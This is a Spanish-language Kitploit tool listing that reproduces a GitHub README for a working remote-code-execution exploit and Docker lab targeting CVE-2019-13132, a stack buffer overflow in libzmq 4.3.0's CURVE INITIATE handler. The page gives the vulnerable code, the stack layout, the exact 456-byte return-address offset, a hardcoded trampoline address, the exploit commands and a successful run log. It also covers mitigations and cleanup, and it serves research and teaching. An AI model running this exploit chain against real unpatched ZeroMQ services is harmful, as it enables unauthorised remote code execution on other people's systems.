Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
cve-2019-13132-lab — CVE-2019-13132 — desbordamiento de pila en CURVE INITIATE de libzmq → RCE. Exploit funcional + laboratorio Docker. | Kitploit
Herramientas/GitHubGitHub/dinosn/cve-2019-13132-lab
Análisis de VulnerabilidadesExplotaciónIngeniería InversaFuzzingAprendizaje y EducaciónDesarrollo de PayloadsExplotación de BinariosLabs y Práctica
GitHubdinosn/cve-2019-13132-lab

cve-2019-13132-lab

CVE-2019-13132 — desbordamiento de pila en CURVE INITIATE de libzmq → RCE. Exploit funcional + laboratorio Docker.

Ver Repositorio
2hace 4 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2019-13132 — desbordamiento de pila en CURVE INITIATE de libzmq → laboratorio RCE

CVE CVSS Affected License

Exploit RCE funcional de extremo a extremo + laboratorio reproducible para CVE-2019-13132, un desbordamiento de búfer de pila en el manejador del handshake CURVE INITIATE de libzmq. Un atacante que conozca la clave pública de largo plazo del servidor (un parámetro público por diseño) puede desbordar un búfer de pila de tamaño fijo en process_initiate(), sobrescribir la dirección de retorno guardada y redirigir la ejecución hacia código arbitrario.

Por Nicolas Krassas (@dinosn).

Solo para uso en laboratorio. Este kit incluye una versión de libzmq 4.3.0 intencionalmente vulnerable con las mitigaciones desactivadas. No expongas el puerto 5556 fuera del laboratorio. El fallo se corrigió en libzmq 4.3.2.


Inicio rápido

root@kitploit:~
docker build --platform linux/amd64 -t cve-2019-13132-lab .
docker run --rm -it --platform linux/amd64 --privileged \
           -p 5556:5556 cve-2019-13132-lab

# inside the container (calibration runs automatically):
/opt/zmq-curve-rce/exploit.py
cat /tmp/pwned-13132

Prueba de humo automatizada (ejecuta el exploit y verifica el archivo de prueba):

root@kitploit:~
docker exec <container> /opt/zmq-curve-rce/run_lab_test.sh

Estructura del repositorio

root@kitploit:~
.
├── README.md           # this file
├── Dockerfile          # one-command containerised lab
├── server-curve.c      # CURVE REP listener — the vulnerable target
├── exploit.py          # full exploit (HELLO → WELCOME → oversized INITIATE)
├── compute_offsets.py  # build-time offset extraction → build_offsets.json
├── calibrate.sh        # runtime calibration → profile.json
├── start_server.sh     # start/restart the target
├── run_lab_test.sh     # automated end-to-end smoke test
└── entrypoint.sh       # Docker entrypoint (ASLR off + server + calibrate)

La vulnerabilidad

src/curve_server.cpp:284-336 (libzmq 4.3.0):

root@kitploit:~
if (size < 257) {                   // only a MINIMUM check; no upper bound
    errno = EPROTO; return -1;
}

const size_t clen = (size - 113) + crypto_box_BOXZEROBYTES;

uint8_t initiate_box[crypto_box_BOXZEROBYTES + 144 + 256];  // 416 bytes fixed

memcpy (initiate_box + crypto_box_BOXZEROBYTES,             // dest: stack buf + 16
        initiate + 113,                                     // src:  attacker data
        clen - crypto_box_BOXZEROBYTES);                    // len:  size - 113

initiate_box es un búfer asignado en la pila de 416 bytes. El memcpy escribe size - 113 bytes en la región de payload de 400 bytes (desplazamiento 16..415). Cualquier INITIATE con size > 513 desborda el búfer y alcanza los registros del callee guardados y la dirección de retorno.

La verificación de la cookie ocurre antes del desbordamiento, por lo que el INITIATE debe incluir una cookie genuina — pero la cookie se obtiene del mensaje WELCOME previo usando únicamente la clave pública de largo plazo del servidor.


Cadena de explotación

1. Handshake CURVE (solo se necesita la clave pública)

El protocolo CURVE está diseñado para que los clientes ya posean la clave pública de largo plazo del servidor (está en la URI de conexión o en la configuración). El exploit:

  1. Genera un nuevo par de claves efímeras (C', c').
  2. Envía un HELLO válido — el servidor lo descifra usando C' + su clave secreta.
  3. Recibe WELCOME — lo descifra usando C' + la clave pública del servidor.
  4. Extrae la cookie de WELCOME.
  5. Envía INITIATE con la cookie genuina + un payload de tamaño excesivo.
  6. La cookie se valida y el memcpy vulnerable se dispara.

No se requieren credenciales de nivel de aplicación. No hay omisión de la autenticación ZAP. El desbordamiento se dispara durante el intercambio de claves CURVE, antes de que la aplicación llegue a ver al peer.

2. Desbordamiento de pila → sobrescritura de la dirección de retorno

root@kitploit:~
process_initiate() stack frame (compiled with -O0 -fno-stack-protector):

    prologue: push r15; push r14; push r13; push r12; push rbp; push rbx
              sub $0x628, %rsp

    RSP + 0x490  ← memcpy destination (initiate_box + 16)
    RSP + 0x628  ← saved rbx
    RSP + 0x630  ← saved rbp
    RSP + 0x638  ← saved r12
    RSP + 0x640  ← saved r13
    RSP + 0x648  ← saved r14
    RSP + 0x650  ← saved r15
    RSP + 0x658  ← RETURN ADDRESS       offset = 0x658 - 0x490 = 456 bytes

El exploit envía 464 bytes de payload: 456 bytes de relleno (0x41) para alcanzar la dirección de retorno, seguidos de 8 bytes que contienen la dirección de lab_trampoline().

3. Ruta de error → epílogo → ret → trampolín

Después del desbordamiento, crypto_box_open() falla (los datos desbordados son texto cifrado basura). La ruta de error registra el fallo, establece errno y devuelve -1 — pero la ruta de error solo accede a ubicaciones de pila por debajo de la región desbordada (RSP+0xe0, RSP+0xf0, RSP+0x280), por lo que se ejecuta limpiamente con la pila corrupta.

El epílogo de la función (add $0x628,%rsp; pop rbx-r15; ret) extrae los registros guardados corruptos (ahora 0x4141414141414141) y luego ret carga la dirección de nuestro trampolín.

4. Ejecución de código

lab_trampoline() utiliza syscalls directos (sin libc, sin fork()) para escribir el archivo de prueba:

root@kitploit:~
void lab_trampoline(void) {
    int fd = syscall(SYS_open, "/tmp/pwned-13132", O_WRONLY|O_CREAT|O_TRUNC, 0644);
    syscall(SYS_write, fd, banner, ...);
    // reads /proc/self/status (shows uid, pid, capabilities)
    // reads /etc/hostname
    syscall(SYS_exit_group, 0);
}

Se utilizan syscalls directos en lugar de system() / fork() porque process_initiate() se ejecuta en el hilo de E/S de libzmq — llamar a fork() desde un hilo distinto al principal en un proceso multi-hilo provoca un interbloqueo en los manejadores de bloqueo pthread_atfork de glibc.

Por qué solo se necesita la clave pública

La clave pública de largo plazo del servidor es un parámetro público en el protocolo CurveZMQ: los clientes deben tenerla para conectarse. Normalmente se distribuye en archivos de configuración, URIs o mecanismos de descubrimiento. El exploit no requiere ningún material secreto.


Resolución de offsets

El exploit necesita dos valores:

campovalorfuente
trampoline_addr0x401206nm server-curve (binario no PIE, dirección fija)
offset_to_ret456desensamblado de process_initiate (0x658 - 0x490)

Ambos están hardcodeados en exploit.py como valores integrados por defecto para la compilación del laboratorio Docker (Debian 12, gcc 12, libzmq 4.3.0). No se requiere ningún paso de calibración — basta con ejecutar el exploit:

root@kitploit:~
python3 exploit.py                                          # uses built-in defaults
python3 exploit.py 127.0.0.1 5556 --profile profile.json   # explicit profile file
python3 exploit.py --trampoline 0x401206 --offset 456       # manual override

Prioridad de resolución: flags --trampoline/--offset → archivo --profile → /opt/zmq-curve-rce/profile.json → valores integrados por defecto.

¿Por qué no hay fingerprinting en tiempo de ejecución?

ZMTP no tiene API de introspección. El greeting solo revela la versión del protocolo (3.x) y el mecanismo (CURVE) — nada sobre la compilación de libzmq, el compilador ni la disposición del binario. No existe un identificador de compilación accesible en tiempo de ejecución que permita la selección automática de offsets contra objetivos desconocidos.

Los scripts calibrate.sh / compute_offsets.py se proporcionan para recompilaciones en diferentes distros o versiones de gcc, donde la dirección del trampolín puede variar. Dentro del laboratorio Docker se ejecutan automáticamente, pero no son necesarios.


Salida de ejemplo

root@kitploit:~
$ /opt/zmq-curve-rce/run_lab_test.sh
=== CVE-2019-13132 lab test ===
[*] target:         127.0.0.1:5556
[*] trampoline    @ 0x0000000000401206
[*] offset to ret:  456 bytes

[+] connected
[+] HELLO/WELCOME complete (S'=00b19cb8217ac149...)
[+] sent INITIATE (577 bytes, overflow = 464)
[+] waiting for process_initiate() → ret → trampoline → system()
[*] done — check /tmp/pwned-13132 on target

--- proof file contents ---
CVE-2019-13132: RCE achieved via CURVE INITIATE stack overflow
Name:   server-curve
...
Uid:    0       0       0       0
...
hostname: caa76cbbc4a4
--- end ---

[PASS] RCE confirmed — /tmp/pwned-13132 created by the libzmq server process.
[PASS] CVE-2019-13132 lab — RCE chain verified end-to-end.

Mitigaciones

DefensaEfecto
Actualizar a libzmq >= 4.3.2Corregido. Añade una comprobación de límite superior al tamaño de INITIATE antes del memcpy.
Canarios de pila (-fstack-protector)Detecta el desbordamiento antes de que la función retorne. El canario se encuentra entre las variables locales y los registros guardados; el desbordamiento lo corrompe, activando __stack_chk_fail.
ASLRAleatoriza las direcciones de las bibliotecas compartidas y de la pila. El trampolín está en un binario no PIE (dirección fija), pero un servidor de producción sería PIE, lo que requeriría una fuga de información.
PIEAleatoriza la dirección de carga del binario del servidor. La dirección del trampolín ya no sería predecible sin una fuga.
NXNo es relevante aquí — no se inyecta shellcode; el exploit llama a código existente.
ZAP / autenticación de nivel de aplicaciónNo ayuda — el desbordamiento se dispara durante el intercambio de claves CURVE, antes de que se consulte a ZAP.

Limpieza

root@kitploit:~
docker rm -f <container>
# or inside the container:
pkill -9 -x server-curve
rm -f /tmp/pwned-13132
sysctl -w kernel.randomize_va_space=2   # restore ASLR

Referencias

  • NVD CVE-2019-13132
  • Notas de la versión 4.3.2 de libzmq — la corrección
  • Especificación de CurveZMQ (ZMQ RFC 26) — protocolo de handshake CURVE
  • ZMTP 3.1 (ZMQ RFC 37) — Protocolo de transporte de mensajes de ZeroMQ

Autor

Nicolas Krassas — @dinosn

Licencia

MIT. El código fuente de la versión de libzmq 4.3.0 intencionalmente vulnerable se obtiene en tiempo de compilación desde el repositorio upstream LGPLv3-con-excepciones / MPLv2.

Aviso legal

Para investigación defensiva de seguridad, educación y pruebas de seguridad autorizadas únicamente. No despliegues la compilación vulnerable incluida fuera de un entorno de laboratorio aislado.

Descargar herramienta